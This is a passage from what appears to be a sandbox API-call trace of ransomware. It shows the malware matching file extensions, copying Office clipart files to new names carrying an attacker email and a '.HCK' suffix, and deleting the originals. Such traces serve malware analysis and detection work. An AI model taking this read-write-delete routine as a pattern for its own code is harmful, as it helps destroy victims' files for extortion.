(lpString=".1cd") returned 4 [0166.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW (lpString=".jpg") returned 4 [0166.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.308] lstrlenW (lpString=".doc") returned 4 [0166.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString=".docx") returned 5 [0166.308] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.308] lstrlenW (lpString=".pdf") returned 4 [0166.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.308] lstrlenW (lpString=".xls") returned 4 [0166.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.308] lstrlenW (lpString=".xlsx") returned 5 [0166.309] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.309] lstrlenW (lpString=".ppt") returned 4 [0166.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.309] lstrlenW (lpString=".zip") returned 4 [0166.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.309] lstrlenW (lpString=".rar") returned 4 [0166.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.309] lstrlenW (lpString=".bz2") returned 4 [0166.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.309] lstrlenW (lpString=".7z") returned 3 [0166.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.309] lstrlenW (lpString=".dbf") returned 4 [0166.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.309] lstrlenW (lpString=".1cd") returned 4 [0166.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0166.309] lstrlenW (lpString=".jpg") returned 4 [0166.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.309] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.309] lstrlenW (lpString="J0105384.WMF") returned 12 [0166.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.314] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5880) returned 1 [0166.314] CloseHandle (hObject=0x394) returned 1 [0166.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0166.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.325] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.325] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.333] GetLastError () returned 0x0 [0166.333] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16f8, lpOverlapped=0x0) returned 1 [0166.335] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1700, lpOverlapped=0x0) returned 1 [0166.335] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.335] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.335] SetEndOfFile (hFile=0x308) returned 1 [0166.341] CloseHandle (hObject=0x308) returned 1 [0166.344] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.344] SetEndOfFile (hFile=0x388) returned 1 [0166.349] CloseHandle (hObject=0x388) returned 1 [0166.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0166.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.356] lstrlenW (lpString=".doc") returned 4 [0166.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.356] lstrlenW (lpString=".docx") returned 5 [0166.356] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.356] lstrlenW (lpString=".pdf") returned 4 [0166.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.356] lstrlenW (lpString=".xls") returned 4 [0166.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.356] lstrlenW (lpString=".xlsx") returned 5 [0166.356] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.356] lstrlenW (lpString=".ppt") returned 4 [0166.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.356] lstrlenW (lpString=".zip") returned 4 [0166.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.356] lstrlenW (lpString=".rar") returned 4 [0166.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.356] lstrlenW (lpString=".bz2") returned 4 [0166.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.356] lstrlenW (lpString=".7z") returned 3 [0166.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.356] lstrlenW (lpString=".dbf") returned 4 [0166.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.356] lstrlenW (lpString=".1cd") returned 4 [0166.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.357] lstrlenW (lpString=".jpg") returned 4 [0166.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.357] lstrlenW (lpString=".doc") returned 4 [0166.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.357] lstrlenW (lpString=".docx") returned 5 [0166.357] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.357] lstrlenW (lpString=".pdf") returned 4 [0166.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.365] lstrlenW (lpString=".xls") returned 4 [0166.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.365] lstrlenW (lpString=".xlsx") returned 5 [0166.365] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.365] lstrlenW (lpString=".ppt") returned 4 [0166.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.366] lstrlenW (lpString=".zip") returned 4 [0166.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.366] lstrlenW (lpString=".rar") returned 4 [0166.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.366] lstrlenW (lpString=".bz2") returned 4 [0166.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.366] lstrlenW (lpString=".7z") returned 3 [0166.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.366] lstrlenW (lpString=".dbf") returned 4 [0166.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.366] lstrlenW (lpString=".1cd") returned 4 [0166.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0166.366] lstrlenW (lpString=".jpg") returned 4 [0166.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.366] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.366] lstrlenW (lpString="J0105396.WMF") returned 12 [0166.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.368] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11012) returned 1 [0166.368] CloseHandle (hObject=0x364) returned 1 [0166.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0166.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.378] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.378] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.408] GetLastError () returned 0x0 [0166.409] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2b04, lpOverlapped=0x0) returned 1 [0166.417] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2b10, lpOverlapped=0x0) returned 1 [0166.419] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.419] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.419] SetEndOfFile (hFile=0x394) returned 1 [0166.434] CloseHandle (hObject=0x394) returned 1 [0166.438] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.438] SetEndOfFile (hFile=0x388) returned 1 [0166.497] CloseHandle (hObject=0x388) returned 1 [0166.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString=".doc") returned 4 [0166.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString=".docx") returned 5 [0166.517] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.517] lstrlenW (lpString=".pdf") returned 4 [0166.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString=".xls") returned 4 [0166.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.517] lstrlenW (lpString=".xlsx") returned 5 [0166.517] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.517] lstrlenW (lpString=".ppt") returned 4 [0166.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString=".zip") returned 4 [0166.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.517] lstrlenW (lpString=".rar") returned 4 [0166.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString=".bz2") returned 4 [0166.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString=".7z") returned 3 [0166.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString=".dbf") returned 4 [0166.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString=".1cd") returned 4 [0166.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString=".jpg") returned 4 [0166.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.517] lstrlenW (lpString=".doc") returned 4 [0166.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.517] lstrlenW (lpString=".docx") returned 5 [0166.517] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.518] lstrlenW (lpString=".pdf") returned 4 [0166.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.518] lstrlenW (lpString=".xls") returned 4 [0166.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.518] lstrlenW (lpString=".xlsx") returned 5 [0166.518] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.518] lstrlenW (lpString=".ppt") returned 4 [0166.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.518] lstrlenW (lpString=".zip") returned 4 [0166.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.518] lstrlenW (lpString=".rar") returned 4 [0166.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.518] lstrlenW (lpString=".bz2") returned 4 [0166.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.518] lstrlenW (lpString=".7z") returned 3 [0166.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.518] lstrlenW (lpString=".dbf") returned 4 [0166.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.518] lstrlenW (lpString=".1cd") returned 4 [0166.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0166.518] lstrlenW (lpString=".jpg") returned 4 [0166.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.518] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.518] lstrlenW (lpString="J0105412.WMF") returned 12 [0166.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.709] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9400) returned 1 [0166.709] CloseHandle (hObject=0x394) returned 1 [0166.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0166.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.725] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.725] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0166.733] GetLastError () returned 0x0 [0166.733] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x24b8, lpOverlapped=0x0) returned 1 [0166.735] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x24c0, lpOverlapped=0x0) returned 1 [0166.736] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.736] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.736] SetEndOfFile (hFile=0x398) returned 1 [0166.741] CloseHandle (hObject=0x398) returned 1 [0166.748] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.748] SetEndOfFile (hFile=0x364) returned 1 [0166.765] CloseHandle (hObject=0x364) returned 1 [0166.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0166.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.772] lstrlenW (lpString=".doc") returned 4 [0166.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".docx") returned 5 [0166.773] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.773] lstrlenW (lpString=".pdf") returned 4 [0166.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".xls") returned 4 [0166.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.773] lstrlenW (lpString=".xlsx") returned 5 [0166.773] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.773] lstrlenW (lpString=".ppt") returned 4 [0166.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.773] lstrlenW (lpString=".zip") returned 4 [0166.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.773] lstrlenW (lpString=".rar") returned 4 [0166.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".bz2") returned 4 [0166.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".7z") returned 3 [0166.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.773] lstrlenW (lpString=".dbf") returned 4 [0166.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.773] lstrlenW (lpString=".1cd") returned 4 [0166.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.773] lstrlenW (lpString=".jpg") returned 4 [0166.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.773] lstrlenW (lpString="C:\\Program Files\\Microsoft 